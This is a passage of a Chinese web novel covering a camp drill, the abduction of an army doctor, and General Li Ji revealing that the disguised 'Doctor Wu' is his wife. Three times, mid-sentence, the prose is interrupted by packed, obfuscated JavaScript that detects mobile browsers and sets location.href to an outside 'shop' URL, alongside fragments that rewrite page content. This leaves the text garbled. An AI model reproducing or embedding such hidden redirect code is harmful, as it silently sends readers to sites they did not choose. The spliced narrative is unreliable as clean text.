不必回头,她也知道唤她的是李济。 她转过身,微笑:“大将军。” 李济几步来到她面前,道:“明日军营演练,再过两日,便可拔营回京。 大军开拔前须演练,以提升士气、保证作战能力。 李济手下的飞雄军号称每日一练,五日一演,陈灵珠虽然好奇,但她一直忙着病患的事,还一次都没有看过。 她问:“大将军,我可以去看演武吗?” 李济笑道:“当然。吴大夫愿来,李某求之不得。” 就这么说定,陈灵珠愉悦地回了营帐。 次日,陈灵珠起来洗漱,紫苏给她拧了一条帕子,一边递给她一边道:“公子,我们今日真的去看演武吗?” 这些时日,因为紫苏同样辛苦,她让紫苏不必如在国公府一样伺候她了,但紫苏不肯,说照顾她才是她的本分。 她看紫苏一眼,问她:“紫苏姐姐不想去?” 她知道这小丫头定然好奇,她只是想逗一逗她。 紫苏笑道:“想去想去,公子,咱们快走罢!” 二人来到了演武场,见将士们已经摆好了阵列,呼声一阵接一阵,忙寻了个好位置,兴致勃勃地伸长了脖子。 鼓声响起,李济头戴红缨凤翅兜鍪,身穿寒光闪闪的铁叶甲,立于点将台,身形如山,身后甲胄鲜明的副将一字排开。他手按剑柄,用锐利的目光扫视全场。 台下万千将士肃立,鸦雀无声,唯有旌旗随风猎猎作响。 “弟兄们!”他雄浑的声音传遍整个校场:“数月来,你们枕戈待旦,随本帅出生入死,不但将胡人赶回了草原,还收回了燕云十六州!你们每一个人都是国家的功臣,是真正的英雄!本将已为你们具表上奏朝廷,为你们请功!” 他的话音未落,满场已起欢呼之声,人人面露激动之色。 将脑袋挂在裤腰带上,在战场上出生入死,为的不就是这一刻? 李济再说了一段,申明演武的必要,将士气鼓起,然后宣布: “现在,各归其位!演武开始!” 随着他的话音落下,咚咚咚的鼓声响起,演武正式开始了。 陈灵珠见将士们闻鼓而进,鸣金收兵,盾牌手与长枪兵、骑兵与步兵联动时配合默契,变出方阵、圆阵、八卦阵、鱼鳞阵、雁行阵等阵法时秩序井然,令行禁止、行动迅速,让她顿时生出热血沸腾之感,恨不得自己也化身为阵中一个气势昂扬的士兵,上战场厮杀。 集体演练毕,是单人武艺考核。 首先是步射。十个士兵站成一排,齐刷刷地往前面的靶子射箭,大多能正中红心,也有少数稍微偏了一些。 许是对士兵们的成绩不够满意,一个满面胡子的副将出来说:“接下来,大将军给兄弟们亲自示范。” 将士们沸腾起来,都知道大将军弓马娴熟,十八般武艺无一不精,但大将军平时军务繁忙,想看他亲自示范可不容易,没想到今日竟有这等眼福。 李济在众将士的欢呼声中出场,站到其中一个靶子前方,往前跨了一步,将弓拉满。 “嗖!”地一声,羽箭将靶心击穿。 军中射箭讲求实战,不在乎花架子,然而大将军身形修长,准头又好,看起来实在漂亮。 正中靶心并不稀奇,军中许多人都能做到,但李济接下来又射了三箭,每一箭都将前一箭破开,又站在原地未动,将剩下的九个靶子的红心都稳稳钉上三支箭。 这个本事,别说普通的将士没有,就算军中的神箭手,也不敢说自己能有大将军一样的准头。 将士们的欢呼声一浪高过一浪。 第二项比的是骑射。 十个英姿飒爽的骑兵听到锣鼓声即冲了出去,一边冲一边从身后的箭囊抽出羽箭,“嗖嗖”地往前面移动的靶子射去。 同样有中有不中的,但总体来说,还算令人满意,一番比试下来,几个裁判官都点了点头。 但大将军刚才示范了步射,骑射当然也不能落下。 李济重新披挂了,骑在他那一条杂毛都没有的枣红色马上,疾驰而来。 众人还没有看清,他已是嗖嗖几声,将靶子击倒。 全场爆发出雷鸣般的掌声和欢呼声,陈灵珠和紫苏也和众人一样,激动地为他欢呼。 李济朝四周转了转,压了压手,众人才渐渐平静下来。 最后一项,是十人突围,也就是十人混战,武器不限,参加者可以一对一,也可以多对一,最后留在擂台的人为胜。 经过几轮混战,最后的赢家是一个百夫长。 不知为何,陈灵珠觉得那百夫长看起来有些面善,但一时,她又想不起来自己在何时何地见过他。 裁判使宣布该百夫长为本次十人突围获胜者,正要将奖品与他,这个赢了的百夫长却道:“属下有一个请求。大将军刚才为我等示范步射与骑射,不知可能赏脸与属下等再来一场十人突围?” 在场的人都愣了愣,这个百夫长竟要挑战大将军? 众人的目光都齐刷刷地望向李济,看他如何反应。 李济笑了笑,应道:“可以。你敢提出来,勇气可嘉,军中就要你这样的儿郎!” 大将军都答应了,其他将领也来了兴致,个个自告奋勇。 最后,除了李济和这位百夫长,另有八人应战。陈灵珠不认得这八人,但将士们可是清楚得很,这八人都是军中难得的好手,其中:怀化将军郑达,曾经号称军中第一猛将;明威将军张固,曾经被誉军中拳脚无敌手;行军司马唐力,文武双全,一把横刀使得虎虎生风;游击将军顾虎,武状元出身,擅使大刀,曾一刀砍下胡人将领的脑袋;昭武校尉赵立,能轻松拉开十二石弓,举百斤大鼎,且曾经连续三次在大校阅中都是十人突围的胜者。总之这八个人,个个有来历,人人叫得响。就是提出挑战的百夫长,也不是泛泛之辈,否则,又怎能连续两次在十人突围中脱颖而出。 见陈灵珠主仆二人不懂,一个因受了伤无法参与今日演练,只能在旁边观看的士兵与有荣焉地逐个给她们介绍了一番。 陈灵珠点了点头,这么说,大将军难得上场,军中人人都想撂倒他? 她知道李济定然是很厉害的,从前她也见识过他与张现、顾言比试,但那次与这样近身的对战到底不同。何况如今他以少对多,对方又全都是武功高强之人,要是败了,他作为大将军,不但于颜面有损,要是不小心受了伤,更是影响重大。 她问那个受伤的士兵:“这十人突围,是点到即止罢?” 那士兵以为陈灵珠担心众人对上大将军不敢用尽全力,道:“放心罢,没人会留力的,保证精彩!” 陈灵珠默默将话咽了下去。 她为他捏一把汗,但李济却神情轻松,手持红缨枪跳上擂台,来到擂台中央。 其余人也手持武器,跟着挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008895|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了擂台。 一声锣响,其余九人都朝李济围了过去,与其说是混战,不如说是围攻。 台下观者发出鼓噪声,十人突围虽然不限形式,但一般是一对一,二对一,极少有多人同时对一人的,何况如今是九人只对李济一人。 那受伤的士兵笑道:“郑将军他们也是豁出老脸了!” 心提了起来,陈灵珠道:“这不公平罢?” 那士兵道:“规则就是这样,大将军自己定的。再说了,总要让郑将军他们赢一次大将军。” 陈灵珠将头转回擂台,眼睛都不眨。 见九个人都冲他来,李济也不意外,笑了一下,道:“一起来也好,省点功夫。” 这话听起来狂妄至极,台下观者又发出鼓噪之声,陈灵珠虽是提着一口气,却也忍不住笑了一下。笑完又担心,他说这样的狂妄的话,要是输了,该如何收场? 老资格的怀化将军郑达不服气地嘿了一声,其余人一句废话也没有,咬着牙将自己手中的刀、剑、枪、戟、槊、鞭、斧等朝李济的上、中、下三路毫不客气地刺了过去。 陈灵珠的心都提到了嗓子眼,紫苏更是忍不住惊呼一声,却听得叮叮当当一阵响,又看到场上武器碰击的银光闪成一片,台下众人连李济如何出招都未看清,就听得哎哟哎哟之声此起彼伏,接着,郑达等九人便一个接一个地从擂台上飞了出来。 台上仅剩的那个人利落地将红缨枪一收,“咚”地一声杵在地上,朝台下众人一笑,道:“承让。” 偌大的演武场一时鸦雀无声,因为所有人包括陈灵珠,都被他这一手惊得目瞪口呆。 但很快,随着第一个人喊出了声,“大将军”三字便如波浪一般,席卷全场。 激动不已的将士们冲向擂台中央,将那个在他们心目中早已封神、此刻又再次证明自己是神的男人举了起来。 “大将军!” “大将军!” “大将军!” “大将军”三字的欢呼声如同山呼海啸,涌向场中的每一个人。陈灵珠也随众人一道,兴奋地呼喊。甚至一个不小心,还溢出了一点本音。好在众人的眼睛和耳朵都在大将军身上,没有人注意到她的异常。 将李济举着走了一圈又一圈,众将士总算渐渐平静下来。 按照惯例,演武的获胜者会获得奖励,这一次,李济亲自为他们颁奖。 获胜者都激动万分,为自己能从大将军手中接过奖励而战栗。 最后,李济道:“弟兄们,我们能击败胡人,能安然度过此次时疫,有一群人功不可没。那便是,为我们疗伤治病的大夫们!没有他们,在战场上受伤的兄弟们未必能够存活,没有他们,我们躲不过这场时疫!今日的功勋,也有他们的一份力!” 大将军的话在军营比圣旨还管用,听了这番慷慨激昂的话,立即有人响应道:“大夫!大夫!” 陈灵珠露出笑容,大夫治病救人是本分不错,但有人肯定自己的付出,也极为让人喜悦。 离她们近的士兵朝她和紫苏冲了过来,将她们举起,“大夫!大夫!” 陈灵珠忽然腾空,不免被吓了一跳,战战兢兢被人举着满场走,心里激动之余又忍不住担心自己的安全,幸亏李济掠过人群,将被抛起的她接住,抱着她几个飞纵,来到擂台中央。 见大将军露了这一手出神入化的轻功,将士们更是激动万分,“大将军!大将军!” “大夫!大夫!” 呼喊声响彻云霄,直到傍晚方渐渐平静,但一队胡人斥候因来得迟,没赶上这番热闹,见军营静悄悄的,一个斥候低声道:“秃里,我们怎么做?” 领头的斥候沉吟了一会儿,下定了决心:“抓个飞雄军营的人问问!” 91. 第 91 章 次日,李济正在营帐看回程粮草的安排,怀化将军郑达大步走过来道:“大将军!济之!你可知道发生了何事?” 李济问何事,郑达便将事情说了一遍。 原来已败退的胡人将领收到消息,说李济被感染了时疫,已经卧床不起。对于这样的消息,胡人听了自然是心花怒放,有人提议,他们应当趁着李济病重之时反攻,重新夺了被李济夺回的城池。 此前胡人损失惨重,他们不敢轻举妄动,但万一消息是真的,这样的机会也难得,胡人将领考虑了一番,便派了斥候过来探查情况,看消息是否属实。 没能看到李济的身影,打探了一圈也打探不到什么实在的消息,胡人斥候便埋伏在一个隐蔽处,打算趁着夜色,捉一个飞雄军的士兵来拷问一番。 但飞雄军守备森严,训练有素,埋伏了半夜,终于在天色将亮时被他们等到了一个早起采药的吴姓军医,将那军医捉了去。 因那吴姓军医出门时无人相伴,与他相熟的人又以为他去了别处采药,所以他被胡人斥候抓走这件事,过了几个时辰才被人发现。 李济听到“吴姓军医”四字,脑中轰然一声,不等郑达继续说,便冲出了营帐,打个呼哨唤来坐骑,一个飞跃上了马背,随后一马当先冲了出去。 郑达愣在当场,看着他纵马疾驰而去的背影还反应不过来,喃喃道:“他这么着急做什么?我已经派人去追了呀!” 明威将军张固等听说大将军火急火燎地出了军营,忙来问刚才跟李济说话的郑达:“发生了何事?听说大将军跟火烧眉毛似的骑马出去了?” 郑达将手一摊,他也不知道啊!大将军向来临危不乱,他还从未见过他如此慌里慌张的模样。方才他也就跟他说了吴军医被劫的事,按说大将军就算再看重军医,也不至于这样方寸大乱。 几人讨论了几句,都想不出原因,张固道:“不行,我不放心,我得追上去看看。别胡人来阴的,大将军中了他们的计!” 说着也召来坐骑,急急追了上去。 郑达等人想了想,也觉得李济如此着急定然事出有因,谨慎起见,他们还是赶紧跟上去看一看为好,便也匆忙点了兵追了上去。 军营里的几个大将相继冲出了大营,在军营里掀起了不小的风波。 剩余的将士们又是疑惑又是忐忑,留在军营的将领令士兵不可妄动,同时做好了迎敌的准备。好在他们本就时时做好战斗的准备,一时间倒也不慌乱。 陈灵珠做完了自己的事从病患营帐出来,见几个熟面孔的将领凑在一处又是摇头又是皱眉的,不知在讨论什么,便拉住旁边一个小兵问发生了何事。 因她是治疗本次时疫的功臣,与大将军的关系看起来也不错,小兵倒没有隐瞒她的意思,将他听说的消息说了:“说胡人的斥候掳走了吴军医,大将军听说了,追了出去。郑将军、张将军担心大将军,也追了出去。” 一般来说,大将军就算再敬重军医,也没有单枪匹马亲自去追的道理,何况郑将军本就安排了人。小兵心里暗自嘀咕,这吴军医莫非有什么来头,竟得大将军如此看重,连自己的安危也置之不顾。看来,以后他要对吴军医敬重些才行,不能再像从前那样随意。 陈灵珠一时也没想明白,但李济如此慌张,她有些担心,也有些好奇,便也站到不显眼的一旁等消息。 众人正等得心焦,忽然有人道:“回来了!” 众人这时都听到了嘚嘚的马蹄声,一时都齐刷刷地望向营门,不一会儿,只见李济领头的一队人马入了营门,后头还跟着显然受了一番磨难的吴军医。这位五十多岁的老军医此时披头散发,衣衫凌乱,看起来十分狼狈。 几个将领连忙迎上去,“大将军!将军!” “大将军,到底发生了何事?” 又有人见吴军医站都站不稳,又连忙去扶他。 李济跳下马,没有回答属下们的问题,拨开此时挡住他的几个人,眼睛直直地看向他们的身后。 众将领追随着他的目光,更加摸不着头脑,因为后面除了几个小兵还有小吴大夫,再没有谁了。 大将军到底在看什么? 几个小兵和陈灵珠也是一头雾水,见所有人都望过来,面露迷茫,又一齐扭头看向身后。他们后面什么也没有,看不出个所以然来,所有人又一起扭回了头,望向还直直看着这个方向的大将军,希望他能为他们解惑。 李济越过人群,步履间带着显而易见的急迫,一直到了跟所有人一样困惑的陈灵珠面前才停下。 “大将军,你——” 没等她问完,他忽地张开双臂,猛然抱住了她。 “你没事就好,吓死为夫了!” 他的声音带着一丝震颤,任谁都能听得出来,怀中的人安然无恙,他有多庆幸和激动。 陈灵珠先前再不解,此时也明白过来,她张了张嘴,想说什么,却不知说什么好。犹豫了一下,她也伸出双手,回抱住了他的腰身。 李济将头埋在她的颈侧,闭上眼,将她抱得更紧。 见他们如此,在场的将士们眼珠子都快瞪出来了。 大将军这是?都说军营待三月,母猪赛貂蝉,可小吴大夫他不是女的啊!这这这,这算怎么回事?他还自称“为夫”,难道这小吴大夫是“为妻”?那京城里的大将军夫人算什么? 众人吃惊万分,他们的大将军却没理他们怎么想,似乎也一点儿也不觉得自己这样公开搂抱一个男人有什么问题,恨不得将小吴大夫嵌进自己身体般紧紧地抱了一阵后,拉起小吴大夫的小手,进营帐去了! 众将士看得差点眼珠子都要掉出来,大将军今日莫不是真的得了失心疯了!做的事情一件比一件让人震惊。 “老郑,这到底怎么回事?”几个将领大眼瞪小眼一阵后,张固将人群驱散,将郑达拉到隐秘处问郑达。 郑达吹了一下胡子,“你还看不出来吗!大将军显然是将老吴大夫当成了小吴大夫,这才着急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012470|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上火地追出去,如今见人好好地就在军营,可不是喜出望外,所以才会不管不顾地在众目睽睽之下将人搂住。” 张固恍然大悟,道:“怪不得,怪不得。” 郑达问他怪不得什么,他将端午节那日的事说了出来,“当时我就觉得哪里奇怪,今日才知道,原来小吴大夫是大将军的相好!嗐!难怪连我也要靠边!” 按常理来说,他跟李济出生入死那么多次,怎么可能输给小吴大夫? 他琢磨了一下,问郑达:“可是,没听说过大将军喜欢男人啊!还有,小吴大夫才来军营一个多月,大将军又时常在外,他们俩人是什么时候搅合到一处的?” 难不成当真是一见倾心? 这个郑达就不知道了,他只知道大将军出去一趟带回来个年纪轻轻的大夫,说是镇国公府荐来的。安排他去治时疫,要人要药换方子,都由着他。当时郑达提出是否要先查一查这小吴大夫的底细,大将军却说他保证这小吴大夫是个仁心仁术的好大夫,绝不会害将士们,还说若出了事,由他一力承担。 大将军都这么保证了,郑达便没再说什么,那小吴大夫也不负大将军所望,没过多久竟真的开出了对症且药草不难寻的方子,将疫病给攻克了。 这么一个年轻有为的大夫,郑达也打从心底里敬重,所以后面看到大将军似乎对这小吴大夫青眼有加,他也没多想,以为二人都是少年人,小吴大夫又有大功劳,大将军待他特别些也是应当,哪知道大将军起了这样的心思呢! 对了,自从这小吴大夫去了疫病营之后,大将军便时常忧心忡忡,无论身在何处,都要问疫病营的情况,又让疫病营的大夫每日上报是否安康。知道大夫们安康的消息,深锁的眉头才稍稍舒展些。回到幽州后,又总是望着疫病营的方向,有一次还不顾自己安危想要进去疫病营去看看,恰好遇到小吴大夫出来,才停住了脚步,被他拉走了。 当时他还以为自己劝住了大将军,如今才知道,那是因为大将军看到了他想看到的人,放下了心! 又有一次,大将军发现大夫集中居住的营帐中有个别营帐时常深夜还亮着烛火,便吩咐下去,说为了防治时疫,军中除了当值的人以外,所有人不许熬夜。当时他还感叹大将军心细想得周到,如今想来,那个时候熬夜的还能有谁?大将军如此安排,怕不是担心小吴大夫熬夜伤了身体,风邪入侵? 郑达咂咂嘴,没想到大将军对这小吴大夫倒是情深义重,只可惜使君自有妇,罗敷亦丈夫,这二人如此,将京城里的大将军夫人置于何地? 郑达心里一时说不上来什么滋味,摇摇头便走了。 张固没想通,他找到吴骏这个常在李济身边的人问:“怎么回事?大将军跟小吴大夫何时成了这样的?” 吴骏多少猜到了一点,但他不敢妄议大将军的私事,便捡着能说的说了,道:“其他的,末将亦不知,将军不如亲自问问大将军?” 张固瞪着他,他若能问大将军,还用问他? 92. 第 92 章 李济拉着陈灵珠进了他的营帐,帘子甫一放下,又转身将她紧紧抱住。 他抱得那样紧,隔着两个人的身体,她还能听到他“砰砰砰”的心跳声。 “你早就知道了是吗?” 李济当然早就认出了她。虽然镇国公府的飞鸽传书中并没有提到她一句,但他就是觉得,窥破皇帝阴谋的人,是她。 而以她的心性,如果得知军营中爆发了疫病,是极有可能来军营的。 虽然不能十分肯定,但想到她有可能会来军营,想到她可能会在路上遇到危险,他就坐不住。 于是他离了军营,往京城的方向而去,希望能半道上接到她。行到大名府地界,果然遇到有人被追杀。他虽没有火眼金睛,她的易容术也毫无破绽,他却一眼便觉得被追杀的那个人熟悉。救下她后观察了一番,便基本确定了。 陈灵珠有些失望,她还以为自己的易容术很厉害呢,原来早就被他认出来了。 “不是你不够厉害,是我太了解你了。” 人的样貌可以伪装,行为举止也可以刻意改变,但如果对一个人足够了解,总能够寻到蛛丝马迹。 她不满道:“你既认出来,为何又装不知道?你是不是故意戏弄我?” 此事,李济着实有些冤枉。救下她后,紫苏没有挑明她们的身份,对着他一口一个大将军,说陈灵珠叫吴楚仁,是镇国公府特意找来的大夫,他便以为是她心里还有气不想面对他,特意交代紫苏这么说的,便也顺了她的意思,装着没认出她们。 他道:“我并非故意认不出来,只是担心你还生我的气,不愿意以真面目见我。” 陈灵珠鼓着脸认真想了想,罢了,这事也不好说是谁骗谁,非要论个长短,还是自己先瞒了他。 然而说到生气,她忍不住气道:“在你心里,难道我是傻子?你说的话是真是假,难道我就一点儿也分辨不出来?” 李济一愣,随即喜笑颜开:“不,为夫才是傻子。” 陈灵珠看他这个呆样半晌没说话,忽然道:“你刚才众目睽睽之下那样,他们看了会不会多想?” 也不知看到的人会怎么想,会否自己想象出若干个爱恨情仇的故事来。 李济想了想道:“会。不过你别担心,我会跟他们解释。他们都是信得过的人,不会让你的身份暴露。” 他拉着她坐下,道:“珠儿,你不知道我有多担心你!我怕你医治病人的时候染上了疫病,怕你伤了身体,可我又不能拦你做你想做之事,只能全力支持你们,希望对症的药方能尽快开出来。” 这一方面,李济确实无法指摘。也是由于他的支持,自己最后才能做成这件事,没有辜负自己如此艰难来到幽州的辛苦。她诚恳道:“多谢你。” 李济道:“是我要多谢你。你几次救我,救了镇国公府,如今更是救了无数将士,将一场浩劫消弭于无形。而我该处理的事情没有处理好,又害你处于险境,珠儿,李济这辈子欠你的,十辈子也偿还不尽。” 他们之间谁救了谁,真的已经说不清了,她确实救过他,但他何尝又不是几次救了她呢?细细想来,她与他,也许就是所谓的命中注定罢。若不是她的父母逼她嫁给了他,此时此刻,她会是什么处境?杨绾柔还会容她活着吗?皇帝又会怎么对她?反正无论如何,绝不可能顺顺当当嫁给沈家表兄,过上她曾经以为自己能拥有的安乐祥和的日子。 李济就算是在骗她,她也认了,因为除了他,再没有第二个人能护得住她、让她按照自己的想法过日子了。 她叹了口气道:“算了,别谢来谢去了,也不必十辈子,就这一辈子,你好好待我就够了。” 李济道:“李济今生若负陈灵珠,叫我逢战必败。” 陈灵珠捶了他一下。 李济问她是怎么知道皇帝要利用瘟疫对付他的,陈灵珠便将她被召进宫后发生的事情说了一遍。 听得她仅凭只言片语和萧煜的态度便推断出了整件事,李济又是惊讶,又是佩服,更忍不住有些骄傲。 这便是他的妻子,一个聪慧、勇敢、冷静、果断且心怀大义的女子,这样一个女子,他区区一个凡人男子,怎么可能做得到不爱她? 听得皇帝竟然拿她当妃嫔一样让她陪他喝酒,又差点被杨绾柔安排的毒蛇咬死,他顿时怒不可遏。 萧煜和杨绾柔,他们怎敢! 他不由一阵后怕,他从前确实没想过这一层,只担心她的父亲伤了她,所以临行前特意叮嘱父亲,拜托母亲,自以为安排得妥妥当当。 而萧煜那边,他以为只要他不败,萧煜就不敢动镇国公府的人。再加上她又是一枚安插在镇国公府的棋子,萧煜动谁也不该动她。 但他忘了,萧煜是个色欲醺心的昏君,她生得貌美,又成了他的妻子,萧煜这种强抢臣妻的惯犯,什么事做不出来? 还有那杨绾柔,从前他是懒得与这么一个无足轻重的女子计较,故而口头警告几句也就罢了,没想到那女人不消停,一再兴风作浪,如今还想杀了他的妻子! 他不禁想到南光寺惊马一事,当时只查到周凝萱,没有证据表明杨绾柔参与了谋害陈灵珠,但如今想来,那杨绾柔不久就进了宫,不正是做贼心虚? 他还是大意了,差点让陈灵珠死于那昏君和毒妇之手。 他咬着牙,手臂不自觉地收紧,陈灵珠被箍得不甚舒适,轻轻拍了拍他,示意他松开些,道:“而后我便出了宫,告诉父亲和母亲我的推想,往军营来了。” 她轻描淡写的,仿佛那都是不足挂齿的小事,但李济怎会不知道其中的艰险。 她在宫中差点丢了命,来幽州的路上,若非他及时赶到,又差点死于箭下。 “珠儿,为夫欠你的,当真是十辈子也还不清了。” 见他满脸愧疚,她道:“这也不是你的错,也幸好我进了宫,才窥破了真相。” “夫君知道的,你若死了,我们都活不成了。” 李济望着她,胸中酸胀。 其实,若她将所知的东西告诉皇帝作为投名状,她是能有出路的。但这个小小的女子却选择了一条更多困难险阻,随时能丢了性命的路。 她真是个傻子,却傻得这样可爱。 他李济此生能有这样一个妻子,何其幸运。 …… 次日,李济正坐于帐中处理军务,郑达过来了。 “郑叔坐。”他比了比手,示意郑达坐在他前面的椅子上。 他与郑达虽是上下级,但郑达早年便与他的父亲相识,算起来也算他的长辈。两人又共事多年,私下里,他们并不以官衔相称。 “济之,”郑达在李济指给他的凳子上坐下,面露犹豫之色,最终还是道:“有件事,我想提醒你一下,你莫怪郑叔多管闲事。” 李济自然猜到了他要说什么,有些好笑道:“郑叔但说无妨。” 郑达摸了一把乱糟糟的胡子,抿了抿唇,这才道:“济之,我也不是那等迂腐的人,这人生在世,男欢女爱是人之常情,两个男人相爱也不算稀奇事。但你的情况毕竟不同。你是大将军,你家里那位又曾经救过你,这次疫病算起来她也有功劳,这众目睽睽之下,你与小吴大夫……”他顿了顿,“多少有些不妥。” 至少别在众人面前这样那样,给京城里的夫人留点面子。昨日他公然抱小吴大夫,自称为夫,又在营帐里待了大半日,与小吴大夫共进晚餐,直到月亮高挂才将小吴大夫送回自己的营帐。 军营里人多口杂,要是不注意,闲言碎语可就要满天飞了。到时候,被京城里的夫人知道,是迟早的事。 郑达实在不解,前些时日他还时常听李济提起陈灵珠,说他这条命都是他的妻子所救,言语间满是感激与骄傲,他还以为李济夫妻鹣鲽情深,怎么转眼,李济就忘了他与京城里的爱妻之间的恩爱,看上了小吴大夫这个男人?还自称为夫?他这样,让京城里的那位正经的大将军夫人情何以堪? 郑达也很敬重小吴大夫,若不是李济已经成了亲,他们爱怎么怎么,但凡事都讲个先来后到,他们也知道大将军夫人直接、间接救过大将军和大伙儿,那这事,他就没法坐视不管。 李济好笑道:“郑叔放心,我和小吴大夫在一起,天经地义,名正言顺。” 天经地义,名正言顺?郑达都要被李济的话惊呆了,时下雅好男风确实算不得大事,可也不能说名正言顺罢?这小子,为了情郎,什么都能瞎说。 他苦口婆心劝道:“济之,我知道你不畏人言,可你是大将军,又是成了亲的人,你跟小吴大夫这样,闲言碎语还是小事,可你如何对得起你家里那位?万一有人抓住这件事大做文章,又是一场麻烦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015434|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 郑达是信得过的人,此事,李济并不打算瞒郑达。略略沉吟,他道:“郑叔有所不知,这小吴大夫……其实是内子。” 什么!听了这话,郑达眼睛瞪得溜圆,嘴巴半天合不拢。 “内……内子?” 李济微微一笑,颔首,“不错。” 郑达用两手大力抹了抹脸,“济之,你把我整糊涂了,你是说小吴大夫是个女的?她是你娘子?女扮男装?” 李济再次点点头,“她易容了。” 郑达又是呆了半晌,忽然嘿地一声,“你小子,瞒得我们好苦!害我昨夜想了一夜怎么跟你说,原来小吴大夫不但是女人,还是你的人。” 李济笑道:“郑叔莫怪,我并非故意隐瞒你。只是此前内子连我也瞒着,我不好跟郑叔说明此事。” 瞧瞧这没出息的样,郑达哈哈大笑:“你小子也有今天。” “我就说你素来谨慎,怎会连这小吴大夫的来历也不严查,就把那么多兄弟的性命交给一个半路捡来的人。”郑达哈哈大笑,“原来如此,原来如此。” 李济微笑,若不是知道那就是陈灵珠,他当然不可能这么做。此前他无缘无故地信任一个“来历不明”的人,郑达几个大概以为他得了失心疯了罢。 “没想到,你这娘子这么有本事。” 郑达是听李济说过陈灵珠救了他的命,也知道李济没有被瘟疫侵袭,是因为陈灵珠给他做的香囊,还知道镇国公府的世子夫人别的不爱,就爱行医,但他以为那不过是小打小闹,毕竟小姑娘家家的,爱玩爱闹也正常。他是真的没有想到,她真的是个妙手仁心的大夫。 李济点头,确实有本事,从只言片语中便推出了萧煜的打算,千里奔波来了这里,救活了这么多人,赢得他在内的所有的将士,包括原有军医的心服口服。易容术还骗过了除了他以外的所有人。 一股骄傲忍不住从心底逸了出来,飘到了他的脸上化为笑容,“她的本事连我也没想到。” 郑达看他这骄傲与爱慕溢于言表的模样,暗暗咂舌,这小子,当真是陷进去了!可是小吴大夫明知军营有瘟疫,路上有危险,仍冒着风险而来,又真的治好了瘟疫,那样的女子,谁又能不动心呢? “那接下来怎么办?让她继续当这小吴大夫?” 按规矩,作为李济的家眷,李济领兵期间,陈灵珠是不能离京的,所以小吴大夫就是陈灵珠这件事,也不能公开。但这事,郑达怎么想怎么替他们觉得憋屈,明明是大功劳,却只能藏着捂着,还要被别人误会断袖。 李济道:“只能先这样了,待以后有机会,再为她请功罢。” 郑达想了想,也只能罢了。 郑达离去,走到半路,便被张固拉了过去。 “老郑,怎么样?大将军怎么说?” 郑达卖了一番关子,才将小吴大夫就是陈灵珠,陈灵珠就是李济之妻的事情说了出来。 张固听了,吃惊得张大了嘴巴。 小吴大夫是个女的?还是大将军的夫人? 那他,那他,那他端午那日,差点强迫大将军的夫人跟他一起去河里沐浴? 郑达见他如此,心下稍稍安慰,原来不是只有自己听了这个消息如此反应。 “大将军早就知道了这事?那他让小吴大夫去治瘟疫,就不怕小吴大夫没了命?”从震惊中回过神来,张固疑惑道。 “怎么不怕?”郑达道:“你就没发现大将军那时候天天吃不好睡不好,对疫病营的大夫格外关注?当时我们都不明白他怎么了,如今想想,不正是因为小吴大夫!” 李济向来与将士们同甘共苦,但瘟疫不比平常,再关心疫病营的将士,也必须与他们隔开。李济平时并不是那样不理智的人,当时的行为确实有些反常。 张固回想了一番,觉得郑达说得有道理,道:“那这么说,大将军是忍着担心,让小吴大夫做她想做的事?” 郑达点头,张固笑道:“大将军如此胸襟,难怪有小吴大夫这样的妻子。” 郑达叮嘱他道:“此事关系重大,你千万莫要说出去。” 张固道:“我知道我知道,你放心就是,我岂是那等不分轻重的人!” 张固虽然是个粗人,但一向粗中有细,郑达拍了拍他的肩膀,道:“此事我们不必再管了,大将军自有分寸。” 93. 第 93 章 嘉隆五年的五月十三,大军拔营回京,虽然萧煜安排了各种明枪暗箭,但李济早有防备,一路上无惊无险。 六月初一,凯旋大军抵达陈桥驿,在这里驻扎、整编。 六月初三,皇帝亲迎至陈桥驿。 李济行跪礼奏道:“微臣参见陛下!微臣奉陛下之命出征御敌,幸不辱命!” 萧煜笑着,但脸微微扭曲。这人怎么就是不死呢,瘟疫杀不死他,派出了那么多人,也没有一个能伤他分毫。若是可以,此时此刻,他真想亲手给他一刀,结果了他的性命。 可他不能杀他,因为他是刚刚击败胡人的大功臣,是拯救万民于水火的战神,他此时杀了李济,与自杀无异。 他只能面带笑容地扶起李济,朗声道:“济之快快平身!卿能克敌制胜,扬我国威,朕心甚慰!” 李济回道:“此陛下神武所临,将士效命,微臣不敢居功。” 皇帝朗声大笑,拍了拍他的肩膀,以示亲厚。 接着,他又见了郑达、张固、顾虎、赵立等人,给众人赐酒,对他们大加赞赏,称他们为栋梁之材,国之重器。 最后,他宣布将会论功行赏,稍后,赏赐和晋升的命令将会在大营中公开宣布和分发。 将士们山呼万岁。 